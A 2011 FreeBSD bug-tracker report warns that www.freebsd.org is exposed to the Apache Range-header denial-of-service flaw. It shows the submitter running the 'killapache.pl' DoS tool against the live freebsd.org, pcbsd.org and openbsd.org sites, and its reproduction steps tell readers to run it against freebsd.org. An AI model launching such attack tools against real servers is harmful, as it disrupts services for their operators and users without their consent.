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Date:      Sun, 28 Aug 2011 01:02:56 GMT
From:      Alvaro <gobledb@gmail.com>
To:        freebsd-gnats-submit@FreeBSD.org
Subject:   www/160247: Website vulnerability 
Message-ID:  <201108280102.p7S12ujx022732@red.freebsd.org>
Resent-Message-ID: <201108280110.p7S1A84U077929@freefall.freebsd.org>

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>Number:         160247
>Category:       www
>Synopsis:       Website vulnerability
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    freebsd-www
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Sun Aug 28 01:10:08 UTC 2011
>Closed-Date:
>Last-Modified:
>Originator:     Alvaro
>Release:        none
>Organization:
none
>Environment:
FreeBSD shuttle0.lan 9.0-BETA1 FreeBSD 9.0-BETA1 #4: Fri Aug 26 05:37:30 WEST 2011     netSys@shuttle0.lan:/usr/obj/usr/src/sys/GALILEO  amd64
>Description:
The problem is on mod_deflate.



===>Action

> perl killapache.pl www.freebsd.org 50

host seems vuln

ATTACKING www.freebsd.org [using 50 forks]



Redhat reported this but is waiting for Apache Foundation



https://bugzilla.redhat.com/show_bug.cgi?id=732928



http://www.exploit-db.com/exploits/17696/



Note: PC-BSD has got a better security that OpenBSD (wtf) and FreeBSD (?)

> perl killapache.pl www.pcbsd.org 50

Host does not seem vulnerable



> perl killapache.pl www.openbsd.org 50

host seems vuln

ATTACKING www.openbsd.org [using 50 forks]

=====> References

http://www.dslreports.com/forum/r26243047-Apache-1.x-2.x-Range-header-security-issue

http://seclists.org/fulldisclosure/2011/Aug/175



Cheers!
>How-To-Repeat:
Download the scipt

Install devel/p5-Parallel-ForkManager

perl script_name.pl www.freebsd.org 50

>Fix:
Disable mod_deflate and wait Apache Foundation will correct it. (I think so)

>Release-Note:
>Audit-Trail:
>Unformatted:



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